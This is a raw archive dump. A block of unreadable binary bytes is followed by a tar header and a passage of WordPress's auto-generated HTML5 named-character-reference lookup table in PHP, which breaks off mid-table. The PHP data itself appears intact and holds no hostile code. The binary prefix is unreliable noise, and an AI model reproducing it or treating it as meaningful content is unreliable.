	k�EJ��ڤ��:��	�‘ T���jZږb/�O�H�V{�� ��@�t$��+��U�l>Ӗ��*�����L�@sԚw~���7��}G{������|�aIڶPLUz�1$yB�cp��*���K@ڴ׆ء
]���_-(ƿ�S�v��c�������Y�C������]�[�q��?�lC���xK�����U��r a�8r��H(����o#��&xNC�l)(x&�o��R�ߤR�_����]	4\�k������5�x;o���N�92v���yV'Fnó����#;M���b���6s�\i:�6W�ΪMt�\n-�2;��ͥ�t�\jS���0�H��?��=�!��P�^�:]�͕ڜ�M�!�ܕ�rѪY؎�"ԙ����O��c�o�N�I�3���m�kު�=�d�o���Sk���:7���u~��bh�w���~ ��O��`�XW�`/�:�uW���Y���Ux�z�Dx1�m�G��B́3��n�t���1Ihxm[D��B{}����	�[�x���$R?�#��h��ݾ �[w�@@tR��NH�j!�iL�~*u9���r��5t`٩Ω?8Q7"�����Ȗ�vqs�x�K�@��Bz.��;�T<���NB�!��@\�R����^Qx5��L‹k�	F0�(�ߝ<��<1���7�ϋ��g]u������~���7P�D�ܢ�x�
�Y[�Pc"ұ�+!y�H�~J�	�Q��#	 ��:������Y�Ϻl�%c�������}��	oM�A�_��M��������?��U�^PKE�N\TFė@@(html5-named-character-references.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/html5-named-character-references.php000064400000234443151440300060024445 0ustar00<?php

/**
 * Auto-generated class for looking up HTML named character references.
 *
 * ⚠️ !!! THIS ENTIRE FILE IS AUTOMATICALLY GENERATED !!! ⚠️
 * Do not modify this file directly.
 *
 * To regenerate, run the generation script directly.
 *
 * Example:
 *
 *     php tests/phpunit/data/html5-entities/generate-html5-named-character-references.php
 *
 * @package WordPress
 * @since 6.6.0
 */

// phpcs:disable

global $html5_named_character_references;

/**
 * Set of named character references in the HTML5 specification.
 *
 * This list will never change, according to the spec. Each named
 * character reference is case-sensitive and the presence or absence
 * of the semicolon is significant. Without the semicolon, the rules
 * for an ambiguous ampersand govern whether the following text is
 * to be interpreted as a character reference or not.
 *
 * The list of entities is sourced directly from the WHATWG server
 * and cached in the test directory to avoid needing to download it
 * every time this file is updated.
 *
 * @link https://html.spec.whatwg.org/entities.json.
 */
$html5_named_character_references = WP_Token_Map::from_precomputed_table(
	array(
		"storage_version" => "6.6.0-trunk",
		"key_length" => 2,
		"groups" => "AE\x00AM\x00Aa\x00Ab\x00Ac\x00Af\x00Ag\x00Al\x00Am\x00An\x00Ao\x00Ap\x00Ar\x00As\x00At\x00Au\x00Ba\x00Bc\x00Be\x00Bf\x00Bo\x00Br\x00Bs\x00Bu\x00CH\x00CO\x00Ca\x00Cc\x00Cd\x00Ce\x00Cf\x00Ch\x00Ci\x00Cl\x00Co\x00Cr\x00Cs\x00Cu\x00DD\x00DJ\x00DS\x00DZ\x00Da\x00Dc\x00De\x00Df\x00Di\x00Do\x00Ds\x00EN\x00ET\x00Ea\x00Ec\x00Ed\x00Ef\x00Eg\x00El\x00Em\x00Eo\x00Ep\x00Eq\x00Es\x00Et\x00Eu\x00Ex\x00Fc\x00Ff\x00Fi\x00Fo\x00Fs\x00GJ\x00GT\x00Ga\x00Gb\x00Gc\x00Gd\x00Gf\x00Gg\x00Go\x00Gr\x00Gs\x00Gt\x00HA\x00Ha\x00Hc\x00Hf\x00Hi\x00Ho\x00Hs\x00Hu\x00IE\x00IJ\x00IO\x00Ia\x00Ic\x00Id\x00If\x00Ig\x00Im\x00In\x00Io\x00Is\x00It\x00Iu\x00Jc\x00Jf\x00Jo\x00Js\x00Ju\x00KH\x00KJ\x00Ka\x00Kc\x00Kf\x00Ko\x00Ks\x00LJ\x00LT\x00La\x00Lc\x00Le\x00Lf\x00Ll\x00Lm\x00Lo\x00Ls\x00Lt\x00Ma\x00Mc\x00Me\x00Mf\x00Mi\x00Mo\x00Ms\x00Mu\x00NJ\x00Na\x00Nc\x00Ne\x00Nf\x00No\x00Ns\x00Nt\x00Nu\x00OE\x00Oa\x00Oc\x00Od\x00Of\x00Og\x00Om\x00Oo\x00Op\x00Or\x00Os\x00Ot\x00Ou\x00Ov\x00Pa\x00Pc\x00Pf\x00Ph\x00Pi\x00Pl\x00Po\x00Pr\x00Ps\x00QU\x00Qf\x00Qo\x00Qs\x00RB\x00RE\x00Ra\x00Rc\x00Re\x00Rf\x00Rh\x00Ri\x00Ro\x00Rr\x00Rs\x00Ru\x00SH\x00SO\x00Sa\x00Sc\x00Sf\x00Sh\x00Si\x00Sm\x00So\x00Sq\x00Ss\x00St\x00Su\x00TH\x00TR\x00TS\x00Ta\x00Tc\x00Tf\x00Th\x00Ti\x00To\x00Tr\x00Ts\x00Ua\x00Ub\x00Uc\x00Ud\x00Uf\x00Ug\x00Um\x00Un\x00Uo\x00Up\x00Ur\x00Us\x00Ut\x00Uu\x00VD\x00Vb\x00Vc\x00Vd\x00Ve\x00Vf\x00Vo\x00Vs\x00Vv\x00Wc\x00We\x00Wf\x00Wo\x00Ws\x00Xf\x00Xi\x00Xo\x00Xs\x00YA\x00YI\x00YU\x00Ya\x00Yc\x00Yf\x00Yo\x00Ys\x00Yu\x00ZH\x00Za\x00Zc\x00Zd\x00Ze\x00Zf\x00Zo\x00Zs\x00aa\x00ab\x00ac\x00ae\x00af\x00ag\x00al\x00am\x00an\x00ao\x00ap\x00ar\x00as\x00at\x00au\x00aw\x00bN\x00ba\x00bb\x00bc\x00bd\x00be\x00bf\x00bi\x00bk\x00bl\x00bn\x00bo\x00bp\x00br\x00bs\x00bu\x00ca\x00cc\x00cd\x00ce\x00cf\x00ch\x00ci\x00cl\x00co\x00cr\x00cs\x00ct\x00cu\x00cw\x00cy\x00dA\x00dH\x00da\x00db\x00dc\x00dd\x00de\x00df\x00dh\x00di\x00dj\x00dl\x00do\x00dr\x00ds\x00dt\x00du\x00dw\x00dz\x00eD\x00ea\x00ec\x00ed\x00ee\x00ef\x00eg\x00el\x00em\x00en\x00eo\x00ep\x00eq\x00er\x00es\x00et\x00eu\x00ex\x00fa\x00fc\x00fe\x00ff\x00fi\x00fj\x00fl\x00fn\x00fo\x00fp\x00fr\x00fs\x00gE\x00ga\x00gb\x00gc\x00gd\x00ge\x00gf\x00gg\x00gi\x00gj\x00gl\x00gn\x00go\x00gr\x00gs\x00gt\x00gv\x00hA\x00ha\x00hb\x00hc\x00he\x00hf\x00hk\x00ho\x00hs\x00hy\x00ia\x00ic\x00ie\x00if\x00ig\x00ii\x00ij\x00im\x00in\x00io\x00ip\x00iq\x00is\x00it\x00iu\x00jc\x00jf\x00jm\x00jo\x00js\x00ju\x00ka\x00kc\x00kf\x00kg\x00kh\x00kj\x00ko\x00ks\x00lA\x00lB\x00lE\x00lH\x00la\x00lb\x00lc\x00ld\x00le\x00lf\x00lg\x00lh\x00lj\x00ll\x00lm\x00ln\x00lo\x00lp\x00lr\x00ls\x00lt\x00lu\x00lv\x00mD\x00ma\x00mc\x00md\x00me\x00mf\x00mh\x00mi\x00ml\x00mn\x00mo\x00mp\x00ms\x00mu\x00nG\x00nL\x00nR\x00nV\x00na\x00nb\x00nc\x00nd\x00ne\x00nf\x00ng\x00nh\x00ni\x00nj\x00nl\x00nm\x00no\x00np\x00nr\x00ns\x00nt\x00nu\x00nv\x00nw\x00oS\x00oa\x00oc\x00od\x00oe\x00of\x00og\x00oh\x00oi\x00ol\x00om\x00oo\x00op\x00or\x00os\x00ot\x00ou\x00ov\x00pa\x00pc\x00pe\x00pf\x00ph\x00pi\x00pl\x00pm\x00po\x00pr\x00ps\x00pu\x00qf\x00qi\x00qo\x00qp\x00qs\x00qu\x00rA\x00rB\x00rH\x00ra\x00rb\x00rc\x00rd\x00re\x00rf\x00rh\x00ri\x00rl\x00rm\x00rn\x00ro\x00rp\x00rr\x00rs\x00rt\x00ru\x00rx\x00sa\x00sb\x00sc\x00sd\x00se\x00sf\x00sh\x00si\x00sl\x00sm\x00so\x00sp\x00sq\x00sr\x00ss\x00st\x00su\x00sw\x00sz\x00ta\x00tb\x00tc\x00td\x00te\x00tf\x00th\x00ti\x00to\x00tp\x00tr\x00ts\x00tw\x00uA\x00uH\x00ua\x00ub\x00uc\x00ud\x00uf\x00ug\x00uh\x00ul\x00um\x00uo\x00up\x00ur\x00us\x00ut\x00uu\x00uw\x00vA\x00vB\x00vD\x00va\x00vc\x00vd\x00ve\x00vf\x00vl\x00vn\x00vo\x00vp\x00vr\x00vs\x00vz\x00wc\x00we\x00wf\x00wo\x00wp\x00wr\x00ws\x00xc\x00xd\x00xf\x00xh\x00xi\x00xl\x00xm\x00xn\x00xo\x00xr\x00xs\x00xu\x00xv\x00xw\x00ya\x00yc\x00ye\x00yf\x00yi\x00yo\x00ys\x00yu\x00za\x00zc\x00zd\x00ze\x00zf\x00zh\x00zi\x00zo\x00zs\x00zw\x00",
		"large_words" => array(
			// AElig;[Æ] AElig[Æ].
			"\x04lig;\x02Æ\x03lig\x02Æ",
			// AMP;[&] AMP[&].
			"\x02P;\x01&\x01P\x01&",
			// Aacute;[Á] Aacute[Á].
			"\x05cute;\x02Á\x04cute\x02Á",
			// Abreve;[Ă].
			"\x05reve;\x02Ă",
			// Acirc;[Â] Acirc[Â] Acy;[А].
			"\x04irc;\x02Â\x03irc\x02Â\x02y;\x02А",
			// Afr;[𝔄].
			"\x02r;\x04𝔄",
			// Agrave;[À] Agrave[À].
			"\x05rave;\x02À\x04rave\x02À",
			// Alpha;[Α].
			"\x04pha;\x02Α",
			// Amacr;[Ā].
			"\x04acr;\x02Ā",
			// And;[⩓].
			"\x02d;\x03⩓",
			// Aogon;[Ą] Aopf;[𝔸].
			"\x04gon;\x02Ą\x03pf;\x04𝔸",
			// ApplyFunction;[⁡].
			"\x0cplyFunction;\x03⁡",
			// Aring;[Å] Aring[Å].
			"\x04ing;\x02Å\x03ing\x02Å",
			// Assign;[≔] Ascr;[𝒜].
			"\x05sign;\x03≔\x03cr;\x04𝒜",
			// Atilde;[Ã] Atilde[Ã].
			"\x05ilde;\x02Ã\x04ilde\x02Ã",
			// Auml;[Ä] Auml[Ä].
			"\x03ml;\x02Ä\x02ml\x02Ä",
			// Backslash;[∖] Barwed;[⌆] Barv;[⫧].
			"\x08ckslash;\x03∖\x05rwed;\x03⌆\x03rv;\x03⫧",
			// Bcy;[Б].
			"\x02y;\x02Б",
			// Bernoullis;[ℬ] Because;[∵] Beta;[Β].
			"\x09rnoullis;\x03ℬ\x06cause;\x03∵\x03ta;\x02Β",
			// Bfr;[𝔅].
			"\x02r;\x04𝔅",
			// Bopf;[𝔹].
			"\x03pf;\x04𝔹",
			// Breve;[˘].
			"\x04eve;\x02˘",
			// Bscr;[ℬ].
			"\x03cr;\x03ℬ",
			// Bumpeq;[≎].
			"\x05mpeq;\x03≎",
			// CHcy;[Ч].
			"\x03cy;\x02Ч",
			// COPY;[©] COPY[©].
			"\x03PY;\x02©\x02PY\x02©",
			// CapitalDifferentialD;[ⅅ] Cayleys;[ℭ] Cacute;[Ć] Cap;[⋒].
			"\x13pitalDifferentialD;\x03ⅅ\x06yleys;\x03ℭ\x05cute;\x02Ć\x02p;\x03⋒",
			// Cconint;[∰] Ccaron;[Č] Ccedil;[Ç] Ccedil[Ç] Ccirc;[Ĉ].
			"\x06onint;\x03∰\x05aron;\x02Č\x05edil;\x02Ç\x04edil\x02Ç\x04irc;\x02Ĉ",
			// Cdot;[Ċ].
			"\x03ot;\x02Ċ",
			// CenterDot;[·] Cedilla;[¸].
			"\x08nterDot;\x02·\x06dilla;\x02¸",
			// Cfr;[ℭ].
			"\x02r;\x03ℭ",
			// Chi;[Χ].
			"\x02i;\x02Χ",
			// CircleMinus;[⊖] CircleTimes;[⊗] CirclePlus;[⊕] CircleDot;[⊙].
			"\x0arcleMinus;\x03⊖\x0arcleTimes;\x03⊗\x09rclePlus;\x03⊕\x08rcleDot;\x03⊙",
			// ClockwiseContourIntegral;[∲] CloseCurlyDoubleQuote;[”] CloseCurlyQuote;[’].
			"\x17ockwiseContourIntegral;\x03∲\x14oseCurlyDoubleQuote;\x03”\x0eoseCurlyQuote;\x03’",
			// CounterClockwiseContourIntegral;[∳] ContourIntegral;[∮] Congruent;[≡] Coproduct;[∐] Colone;[⩴] Conint;[∯] Colon;[∷] Copf;[ℂ].
			"\x1eunterClockwiseContourIntegral;\x03∳\x0entourIntegral;\x03∮\x08ngruent;\x03≡\x08product;\x03∐\x05lone;\x03⩴\x05nint;\x03∯\x04lon;\x03∷\x03pf;\x03ℂ",
			// Cross;[⨯].
			"\x04oss;\x03⨯",
			// Cscr;[𝒞].
			"\x03cr;\x04𝒞",
			// CupCap;[≍] Cup;[⋓].
			"\x05pCap;\x03≍\x02p;\x03⋓",
			// DDotrahd;[⤑] DD;[ⅅ].
			"\x07otrahd;\x03⤑\x01;\x03ⅅ",
			// DJcy;[Ђ].
			"\x03cy;\x02Ђ",
			// DScy;[Ѕ].
			"\x03cy;\x02Ѕ",
			// DZcy;[Џ].
			"\x03cy;\x02Џ",
			// Dagger;[‡] Dashv;[⫤] Darr;[↡].
			"\x05gger;\x03‡\x04shv;\x03⫤\x03rr;\x03↡",
			// Dcaron;[Ď] Dcy;[Д].
			"\x05aron;\x02Ď\x02y;\x02Д",
			// Delta;[Δ] Del;[∇].
			"\x04lta;\x02Δ\x02l;\x03∇",
			// Dfr;[𝔇].
			"\x02r;\x04𝔇",
			// DiacriticalDoubleAcute;[˝] DiacriticalAcute;[´] DiacriticalGrave;[`] DiacriticalTilde;[˜] DiacriticalDot;[˙] DifferentialD;[ⅆ] Diamond;[⋄].
			"\x15acriticalDoubleAcute;\x02˝\x0facriticalAcute;\x02´\x0facriticalGrave;\x01`\x0facriticalTilde;\x02˜\x0dacriticalDot;\x02˙\x0cfferentialD;\x03ⅆ\x06amond;\x03⋄",
			// DoubleLongLeftRightArrow;[⟺] DoubleContourIntegral;[∯] DoubleLeftRightArrow;[⇔] DoubleLongRightArrow;[⟹] DoubleLongLeftArrow;[⟸] DownLeftRightVector;[⥐] DownRightTeeVector;[⥟] DownRightVectorBar;[⥗] DoubleUpDownArrow;[⇕] DoubleVerticalBar;[∥] DownLeftTeeVector;[⥞] DownLeftVectorBar;[⥖] DoubleRightArrow;[⇒] DownArrowUpArrow;[⇵] DoubleDownArrow;[⇓] DoubleLeftArrow;[⇐] DownRightVector;[⇁] DoubleRightTee;[⊨] DownLeftVector;[↽] DoubleLeftTee;[⫤] DoubleUpArrow;[⇑] DownArrowBar;[⤓] DownTeeArrow;[↧] DoubleDot;[¨] DownArrow;[↓] DownBreve;[̑] Downarrow;[⇓] DotEqual;[≐] DownTee;[⊤] DotDot;[⃜] Dopf;[𝔻] Dot;[¨].
			"\x17ubleLongLeftRightArrow;\x03⟺\x14ubleContourIntegral;\x03∯\x13ubleLeftRightArrow;\x03⇔\x13ubleLongRightArrow;\x03⟹\x12ubleLongLeftArrow;\x03⟸\x12wnLeftRightVector;\x03⥐\x11wnRightTeeVector;\x03⥟\x11wnRightVectorBar;\x03⥗\x10ubleUpDownArrow;\x03⇕\x10ubleVerticalBar;\x03∥\x10wnLeftTeeVector;\x03⥞\x10wnLeftVectorBar;\x03⥖\x0fubleRightArrow;\x03⇒\x0fwnArrowUpArrow;\x03⇵\x0eubleDownArrow;\x03⇓\x0eubleLeftArrow;\x03⇐\x0ewnRightVector;\x03⇁\x0dubleRightTee;\x03⊨\x0dwnLeftVector;\x03↽\x0cubleLeftTee;\x03⫤\x0cubleUpArrow;\x03⇑\x0bwnArrowBar;\x03⤓\x0bwnTeeArrow;\x03↧\x08ubleDot;\x02¨\x08wnArrow;\x03↓\x08wnBreve;\x02̑\x08wnarrow;\x03⇓\x07tEqual;\x03≐\x06wnTee;\x03⊤\x05tDot;\x03⃜\x03pf;\x04𝔻\x02t;\x02¨",
			// Dstrok;[Đ] Dscr;[𝒟].
			"\x05trok;\x02Đ\x03cr;\x04𝒟",
			// ENG;[Ŋ].
			"\x02G;\x02Ŋ",
			// ETH;[Ð] ETH[Ð].
			"\x02H;\x02Ð\x01H\x02Ð",
			// Eacute;[É] Eacute[É].
			"\x05cute;\x02É\x04cute\x02É",
			// Ecaron;[Ě] Ecirc;[Ê] Ecirc[Ê] Ecy;[Э].
			"\x05aron;\x02Ě\x04irc;\x02Ê\x03irc\x02Ê\x02y;\x02Э",
			// Edot;[Ė].
			"\x03ot;\x02Ė",
			// Efr;[𝔈].
			"\x02r;\x04𝔈",
			// Egrave;[È] Egrave[È].
			"\x05rave;\x02È\x04rave\x02È",
			// Element;[∈].
			"\x06ement;\x03∈",
			// EmptyVerySmallSquare;[▫] EmptySmallSquare;[◻] Emacr;[Ē].
			"\x13ptyVerySmallSquare;\x03▫\x0fptySmallSquare;\x03◻\x04acr;\x02Ē",
			// Eogon;[Ę] Eopf;[𝔼].
			"\x04gon;\x02Ę\x03pf;\x04𝔼",
			// Epsilon;[Ε].
			"\x06silon;\x02Ε",
			// Equilibrium;[⇌] EqualTilde;[≂] Equal;[⩵].
			"\x0auilibrium;\x03⇌\x09ualTilde;\x03≂\x04ual;\x03⩵",
			// Escr;[ℰ] Esim;[⩳].
			"\x03cr;\x03ℰ\x03im;\x03⩳",
			// Eta;[Η].
			"\x02a;\x02Η",
			// Euml;[Ë] Euml[Ë].
			"\x03ml;\x02Ë\x02ml\x02Ë",
			// ExponentialE;[ⅇ] Exists;[∃].
			"\x0bponentialE;\x03ⅇ\x05ists;\x03∃",
			// Fcy;[Ф].
			"\x02y;\x02Ф",
			// Ffr;[𝔉].
			"\x02r;\x04𝔉",
			// FilledVerySmallSquare;[▪] FilledSmallSquare;[◼].
			"\x14lledVerySmallSquare;\x03▪\x10lledSmallSquare;\x03◼",
			// Fouriertrf;[ℱ] ForAll;[∀] Fopf;[𝔽].
			"\x09uriertrf;\x03ℱ\x05rAll;\x03∀\x03pf;\x04𝔽",
			// Fscr;[ℱ].
			"\x03cr;\x03ℱ",
			// GJcy;[Ѓ].
			"\x03cy;\x02Ѓ",
			// GT;[>].
			"\x01;\x01>",
			// Gammad;[Ϝ] Gamma;[Γ].
			"\x05mmad;\x02Ϝ\x04mma;\x02Γ",
			// Gbreve;[Ğ].
			"\x05reve;\x02Ğ",
			// Gcedil;[Ģ] Gcirc;[Ĝ] Gcy;[Г].
			"\x05edil;\x02Ģ\x04irc;\x02Ĝ\x02y;\x02Г",
			// Gdot;[Ġ].
			"\x03ot;\x02Ġ",
			// Gfr;[𝔊].
			"\x02r;\x04𝔊",
			// Gg;[⋙].
			"\x01;\x03⋙",
			// Gopf;[𝔾].
			"\x03pf;\x04𝔾",
			// GreaterSlantEqual;[⩾] GreaterEqualLess;[⋛] GreaterFullEqual;[≧] GreaterGreater;[⪢] GreaterEqual;[≥] GreaterTilde;[≳] GreaterLess;[≷].
			"\x10eaterSlantEqual;\x03⩾\x0featerEqualLess;\x03⋛\x0featerFullEqual;\x03≧\x0deaterGreater;\x03⪢\x0beaterEqual;\x03≥\x0beaterTilde;\x03≳\x0aeaterLess;\x03≷",
			// Gscr;[𝒢].
			"\x03cr;\x04𝒢",
			// Gt;[≫].
			"\x01;\x03≫",
			// HARDcy;[Ъ].
			"\x05RDcy;\x02Ъ",
			// Hacek;[ˇ] Hat;[^].
			"\x04cek;\x02ˇ\x02t;\x01^",
			// Hcirc;[Ĥ].
			"\x04irc;\x02Ĥ",
			// Hfr;[ℌ].
			"\x02r;\x03ℌ",
			// HilbertSpace;[ℋ].
			"\x0blbertSpace;\x03ℋ",
			// HorizontalLine;[─] Hopf;[ℍ].
			"\x0drizontalLine;\x03─\x03pf;\x03ℍ",
			// Hstrok;[Ħ] Hscr;[ℋ].
			"\x05trok;\x02Ħ\x03cr;\x03ℋ",
			// HumpDownHump;[≎] HumpEqual;[≏].
			"\x0bmpDownHump;\x03≎\x08mpEqual;\x03≏",
			// IEcy;[Е].
			"\x03cy;\x02Е",
			// IJlig;[IJ].
			"\x04lig;\x02IJ",
			// IOcy;[Ё].
			"\x03cy;\x02Ё",
			// Iacute;[Í] Iacute[Í].
			"\x05cute;\x02Í\x04cute\x02Í",
			// Icirc;[Î] Icirc[Î] Icy;[И].
			"\x04irc;\x02Î\x03irc\x02Î\x02y;\x02И",
			// Idot;[İ].
			"\x03ot;\x02İ",
			// Ifr;[ℑ].
			"\x02r;\x03ℑ",
			// Igrave;[Ì] Igrave[Ì].
			"\x05rave;\x02Ì\x04rave\x02Ì",
			// ImaginaryI;[ⅈ] Implies;[⇒] Imacr;[Ī] Im;[ℑ].
			"\x09aginaryI;\x03ⅈ\x06plies;\x03⇒\x04acr;\x02Ī\x01;\x03ℑ",
			// InvisibleComma;[⁣] InvisibleTimes;[⁢] Intersection;[⋂] Integral;[∫] Int;[∬].
			"\x0dvisibleComma;\x03⁣\x0dvisibleTimes;\x03⁢\x0btersection;\x03⋂\x07tegral;\x03∫\x02t;\x03∬",
			// Iogon;[Į] Iopf;[𝕀] Iota;[Ι].
			"\x04gon;\x02Į\x03pf;\x04𝕀\x03ta;\x02Ι",
			// Iscr;[ℐ].
			"\x03cr;\x03ℐ",
			// Itilde;[Ĩ].
			"\x05ilde;\x02Ĩ",
			// Iukcy;[І] Iuml;[Ï] Iuml[Ï].
			"\x04kcy;\x02І\x03ml;\x02Ï\x02ml\x02Ï",
			// Jcirc;[Ĵ] Jcy;[Й].
			"\x04irc;\x02Ĵ\x02y;\x02Й",
			// Jfr;[𝔍].
			"\x02r;\x04𝔍",
			// Jopf;[𝕁].
			"\x03pf;\x04𝕁",
			// Jsercy;[Ј] Jscr;[𝒥].
			"\x05ercy;\x02Ј\x03cr;\x04𝒥",
			// Jukcy;[Є].
			"\x04kcy;\x02Є",
			// KHcy;[Х].
			"\x03cy;\x02Х",
			// KJcy;[Ќ].
			"\x03cy;\x02Ќ",
			// Kappa;[Κ].
			"\x04ppa;\x02Κ",
			// Kcedil;[Ķ] Kcy;[К].
			"\x05edil;\x02Ķ\x02y;\x02К",
			// Kfr;[𝔎].
			"\x02r;\x04𝔎",
			// Kopf;[𝕂].
			"\x03pf;\x04𝕂",
			// Kscr;[𝒦].
			"\x03cr;\x04𝒦",
			// LJcy;[Љ].
			"\x03cy;\x02Љ",
			// LT;[<].
			"\x01;\x01<",
			// Laplacetrf;[ℒ] Lacute;[Ĺ] Lambda;[Λ] Lang;[⟪] Larr;[↞].
			"\x09placetrf;\x03ℒ\x05cute;\x02Ĺ\x05mbda;\x02Λ\x03ng;\x03⟪\x03rr;\x03↞",
			// Lcaron;[Ľ] Lcedil;[Ļ] Lcy;[Л].
			"\x05aron;\x02Ľ\x05edil;\x02Ļ\x02y;\x02Л",
			// LeftArrowRightArrow;[⇆] LeftDoubleBracket;[⟦] LeftDownTeeVector;[⥡] LeftDownVectorBar;[⥙] LeftTriangleEqual;[⊴] LeftAngleBracket;[⟨] LeftUpDownVector;[⥑] LessEqualGreater;[⋚] LeftRightVector;[⥎] LeftTriangleBar;[⧏] LeftUpTeeVector;[⥠] LeftUpVectorBar;[⥘] LeftDownVector;[⇃] LeftRightArrow;[↔] Leftrightarrow;[⇔] LessSlantEqual;[⩽] LeftTeeVector;[⥚] LeftVectorBar;[⥒] LessFullEqual;[≦] LeftArrowBar;[⇤] LeftTeeArrow;[↤] LeftTriangle;[⊲] LeftUpVector;[↿] LeftCeiling;[⌈] LessGreater;[≶] LeftVector;[↼] LeftArrow;[←] LeftFloor;[⌊] Leftarrow;[⇐] LessTilde;[≲] LessLess;[⪡] LeftTee;[⊣].
			"\x12ftArrowRightArrow;\x03⇆\x10ftDoubleBracket;\x03⟦\x10ftDownTeeVector;\x03⥡\x10ftDownVectorBar;\x03⥙\x10ftTriangleEqual;\x03⊴\x0fftAngleBracket;\x03⟨\x0fftUpDownVector;\x03⥑\x0fssEqualGreater;\x03⋚\x0eftRightVector;\x03⥎\x0eftTriangleBar;\x03⧏\x0eftUpTeeVector;\x03⥠\x0eftUpVectorBar;\x03⥘\x0dftDownVector;\x03⇃\x0dftRightArrow;\x03↔\x0dftrightarrow;\x03⇔\x0dssSlantEqual;\x03⩽\x0cftTeeVector;\x03⥚\x0cftVectorBar;\x03⥒\x0cssFullEqual;\x03≦\x0bftArrowBar;\x03⇤\x0bftTeeArrow;\x03↤\x0bftTriangle;\x03⊲\x0bftUpVector;\x03↿\x0aftCeiling;\x03⌈\x0assGreater;\x03≶\x09ftVector;\x03↼\x08ftArrow;\x03←\x08ftFloor;\x03⌊\x08ftarrow;\x03⇐\x08ssTilde;\x03≲\x07ssLess;\x03⪡\x06ftTee;\x03⊣",
			// Lfr;[𝔏].
			"\x02r;\x04𝔏",
			// Lleftarrow;[⇚] Ll;[⋘].
			"\x09eftarrow;\x03⇚\x01;\x03⋘",
			// Lmidot;[Ŀ].
			"\x05idot;\x02Ŀ",
			// LongLeftRightArrow;[⟷] Longleftrightarrow;[⟺] LowerRightArrow;[↘] LongRightArrow;[⟶] Longrightarrow;[⟹] LowerLeftArrow;[↙] LongLeftArrow;[⟵] Longleftarrow;[⟸] Lopf;[𝕃].
			"\x11ngLeftRightArrow;\x03⟷\x11ngleftrightarrow;\x03⟺\x0ewerRightArrow;\x03↘\x0dngRightArrow;\x03⟶\x0dngrightarrow;\x03⟹\x0dwerLeftArrow;\x03↙\x0cngLeftArrow;\x03⟵\x0cngleftarrow;\x03⟸\x03pf;\x04𝕃",
			// Lstrok;[Ł] Lscr;[ℒ] Lsh;[↰].
			"\x05trok;\x02Ł\x03cr;\x03ℒ\x02h;\x03↰",
			// Lt;[≪].
			"\x01;\x03≪",
			// Map;[⤅].
			"\x02p;\x03⤅",
			// Mcy;[М].
			"\x02y;\x02М",
			// MediumSpace;[ ] Mellintrf;[ℳ].
			"\x0adiumSpace;\x03 \x08llintrf;\x03ℳ",
			// Mfr;[𝔐].
			"\x02r;\x04𝔐",
			// MinusPlus;[∓].
			"\x08nusPlus;\x03∓",
			// Mopf;[𝕄].
			"\x03pf;\x04𝕄",
			// Mscr;[ℳ].
			"\x03cr;\x03ℳ",
			// Mu;[Μ].
			"\x01;\x02Μ",
			// NJcy;[Њ].
			"\x03cy;\x02Њ",
			// Nacute;[Ń].
			"\x05cute;\x02Ń",
			// Ncaron;[Ň] Ncedil;[Ņ] Ncy;[Н].
			"\x05aron;\x02Ň\x05edil;\x02Ņ\x02y;\x02Н",
			// NegativeVeryThinSpace;[​] NestedGreaterGreater;[≫] NegativeMediumSpace;[​] NegativeThickSpace;[​] NegativeThinSpace;[​] NestedLessLess;[≪] NewLine;[\xa].
			"\x14gativeVeryThinSpace;\x03​\x13stedGreaterGreater;\x03≫\x12gativeMediumSpace;\x03​\x11gativeThickSpace;\x03​\x10gativeThinSpace;\x03​\x0dstedLessLess;\x03≪\x06wLine;\x01\xa",
			// Nfr;[𝔑].
			"\x02r;\x04𝔑",
			// NotNestedGreaterGreater;[⪢̸] NotSquareSupersetEqual;[⋣] NotPrecedesSlantEqual;[⋠] NotRightTriangleEqual;[⋭] NotSucceedsSlantEqual;[⋡] NotDoubleVerticalBar;[∦] NotGreaterSlantEqual;[⩾̸] NotLeftTriangleEqual;[⋬] NotSquareSubsetEqual;[⋢] NotGreaterFullEqual;[≧̸] NotRightTriangleBar;[⧐̸] NotLeftTriangleBar;[⧏̸] NotGreaterGreater;[≫̸] NotLessSlantEqual;[⩽̸] NotNestedLessLess;[⪡̸] NotReverseElement;[∌] NotSquareSuperset;[⊐̸] NotTildeFullEqual;[≇] NonBreakingSpace;[ ] NotPrecedesEqual;[⪯̸] NotRightTriangle;[⋫] NotSucceedsEqual;[⪰̸] NotSucceedsTilde;[≿̸] NotSupersetEqual;[⊉] NotGreaterEqual;[≱] NotGreaterTilde;[≵] NotHumpDownHump;[≎̸] NotLeftTriangle;[⋪] NotSquareSubset;[⊏̸] NotGreaterLess;[≹] NotLessGreater;[≸] NotSubsetEqual;[⊈] NotVerticalBar;[∤] NotEqualTilde;[≂̸] NotTildeEqual;[≄] NotTildeTilde;[≉] NotCongruent;[≢] NotHumpEqual;[≏̸] NotLessEqual;[≰] NotLessTilde;[≴] NotLessLess;[≪̸] NotPrecedes;[⊀] NotSucceeds;[⊁] NotSuperset;[⊃⃒] NotElement;[∉] NotGreater;[≯] NotCupCap;[≭] NotExists;[∄] NotSubset;[⊂⃒] NotEqual;[≠] NotTilde;[≁] NoBreak;[⁠] NotLess;[≮] Nopf;[ℕ] Not;[⫬].
			"\x16tNestedGreaterGreater;\x05⪢̸\x15tSquareSupersetEqual;\x03⋣\x14tPrecedesSlantEqual;\x03⋠\x14tRightTriangleEqual;\x03⋭\x14tSucceedsSlantEqual;\x03⋡\x13tDoubleVerticalBar;\x03∦\x13tGreaterSlantEqual;\x05⩾̸\x13tLeftTriangleEqual;\x03⋬\x13tSquareSubsetEqual;\x03⋢\x12tGreaterFullEqual;\x05≧̸\x12tRightTriangleBar;\x05⧐̸\x11tLeftTriangleBar;\x05⧏̸\x10tGreaterGreater;\x05≫̸\x10tLessSlantEqual;\x05⩽̸\x10tNestedLessLess;\x05⪡̸\x10tReverseElement;\x03∌\x10tSquareSuperset;\x05⊐̸\x10tTildeFullEqual;\x03≇\x0fnBreakingSpace;\x02 